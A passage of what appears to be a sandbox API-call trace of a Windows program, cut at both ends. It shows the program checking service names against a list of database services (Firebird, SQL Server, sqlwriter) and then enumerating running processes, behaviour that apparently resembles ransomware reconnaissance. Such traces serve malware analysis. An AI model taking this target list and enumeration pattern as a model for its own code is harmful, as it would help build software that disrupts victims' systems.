(lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0254.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0254.436] lstrlenW (lpString="lfsvc") returned 5 [0254.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0254.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0254.436] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0254.436] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0254.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0254.436] lstrlenW (lpString="lmhosts") returned 7 [0254.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0254.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0254.436] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0254.436] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0254.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0254.436] lstrlenW (lpString="LSM") returned 3 [0254.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0254.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0254.436] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0254.436] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0254.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0254.436] lstrlenW (lpString="MpsSvc") returned 6 [0254.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0254.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0254.437] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0254.437] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0254.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0254.437] lstrlenW (lpString="NcbService") returned 10 [0254.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0254.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0254.750] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0254.750] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0254.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0254.750] lstrlenW (lpString="netprofm") returned 8 [0254.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0254.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0254.750] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0254.750] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0254.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0254.750] lstrlenW (lpString="NgcSvc") returned 6 [0254.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0254.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0254.750] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0254.750] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0254.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0254.750] lstrlenW (lpString="NlaSvc") returned 6 [0254.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0254.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0254.750] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0254.750] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0254.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0254.751] lstrlenW (lpString="nsi") returned 3 [0254.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0254.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0254.751] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0254.751] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0254.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0254.751] lstrlenW (lpString="PcaSvc") returned 6 [0254.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0254.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0254.751] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0254.751] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0254.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0254.751] lstrlenW (lpString="PlugPlay") returned 8 [0254.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0254.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0254.751] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0254.751] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0254.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0254.751] lstrlenW (lpString="Power") returned 5 [0254.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0254.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0254.751] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0254.751] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0254.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0254.751] lstrlenW (lpString="ProfSvc") returned 7 [0254.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0254.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0254.752] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0254.752] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0254.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0254.752] lstrlenW (lpString="RpcEptMapper") returned 12 [0254.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0254.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0254.752] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0254.752] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0254.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0254.752] lstrlenW (lpString="RpcSs") returned 5 [0254.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0254.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0254.752] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0254.752] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0254.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0254.752] lstrlenW (lpString="SamSs") returned 5 [0254.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0254.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0254.752] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0254.752] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0254.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0254.752] lstrlenW (lpString="Schedule") returned 8 [0254.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0254.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0254.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0254.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0254.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0254.753] lstrlenW (lpString="SecurityHealthService") returned 21 [0254.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0254.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0254.753] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0254.753] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0254.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0254.753] lstrlenW (lpString="SENS") returned 4 [0254.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0254.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0254.753] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0254.753] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0254.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0254.753] lstrlenW (lpString="ShellHWDetection") returned 16 [0254.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0254.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0254.753] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0254.753] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0254.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0254.753] lstrlenW (lpString="Spooler") returned 7 [0254.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0254.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0254.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0254.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0254.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0254.753] lstrlenW (lpString="StateRepository") returned 15 [0254.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0254.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0254.754] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0254.754] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0254.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0254.754] lstrlenW (lpString="SysMain") returned 7 [0254.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0254.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0254.754] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0254.754] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0254.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0254.754] lstrlenW (lpString="SystemEventsBroker") returned 18 [0254.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0254.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0254.754] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0254.754] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0254.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0254.754] lstrlenW (lpString="Themes") returned 6 [0254.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0254.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0254.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0254.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0254.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0254.754] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0254.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0254.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0254.755] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0254.755] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0254.755] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x454e1c0 | out: hHeap=0x640000) returned 1 [0254.755] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0254.764] Process32FirstW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.764] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0254.765] lstrlenW (lpString="System") returned 6 [0254.765] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0254.766] lstrlenW (lpString="smss.exe") returned 8 [0254.766] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.767] lstrlenW (lpString="csrss.exe") returned 9 [0254.767] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0254.767] lstrlenW (lpString="wininit.exe") returned 11 [0254.767] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.768] lstrlenW (lpString="csrss.exe") returned 9 [0254.768] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0254.769] lstrlenW (lpString="winlogon.exe") returned 12 [0254.769] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0254.769] lstrlenW (lpString="services.exe") returned 12 [0254.769] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0254.770] lstrlenW (lpString="lsass.exe") returned 9 [0254.770] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0254.771] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0254.771] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0254.772] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0254.772] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.773] lstrlenW (lpString="svchost.exe") returned 11 [0254.773] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.774] lstrlenW (lpString="svchost.exe") returned 11 [0254.774] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0254.776] lstrlenW (lpString="dwm.exe") returned 7 [0254.776] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.779] lstrlenW (lpString="svchost.exe") returned 11 [0254.779] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.781] lstrlenW (lpString="svchost.exe") returned 11 [0254.781] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.781] lstrlenW (lpString="svchost.exe") returned 11 [0254.782] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.782] lstrlenW (lpString="svchost.exe") returned 11 [0254.783] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.783] lstrlenW (lpString="svchost.exe") returned 11 [0254.783] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.784] lstrlenW (lpString="svchost.exe") returned 11 [0254.784] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.785] lstrlenW (lpString="svchost.exe") returned 11 [0254.785] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.786] lstrlenW (lpString="svchost.exe") returned 11 [0254.786] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.787] lstrlenW (lpString="svchost.exe") returned 11 [0254.787] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.788] lstrlenW (lpString="svchost.exe") returned 11 [0254.788] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0254.789] lstrlenW (lpString="spoolsv.exe") returned 11 [0254.789] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.790] lstrlenW (lpString="svchost.exe") returned 11 [0254.790] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0254.791] lstrlenW (lpString="audiodg.exe") returned 11 [0254.791] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0254.792] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0254.792] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0254.793] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0254.793] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0254.794] lstrlenW (lpString="Memory Compression") returned 18 [0254.794] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.795] lstrlenW (lpString="svchost.exe") returned 11 [0254.795] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0254.796] lstrlenW (lpString="sihost.exe") returned 10 [0254.796] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0255.250] lstrlenW (lpString="MDMAgent.exe") returned 12 [0255.250] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0255.251] lstrlenW (lpString="taskhostw.exe") returned 13 [0255.251] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0255.252] lstrlenW (lpString="msoia.exe") returned 9 [0255.252] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0255.253] lstrlenW (lpString="explorer.exe") returned 12 [0255.253] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0255.254] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0255.254] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0255.255] lstrlenW (lpString="SearchUI.exe") returned 12 [0255.255] Process32NextW (in: hSnapshot=0x388, lppe=0x251fd2c | out: 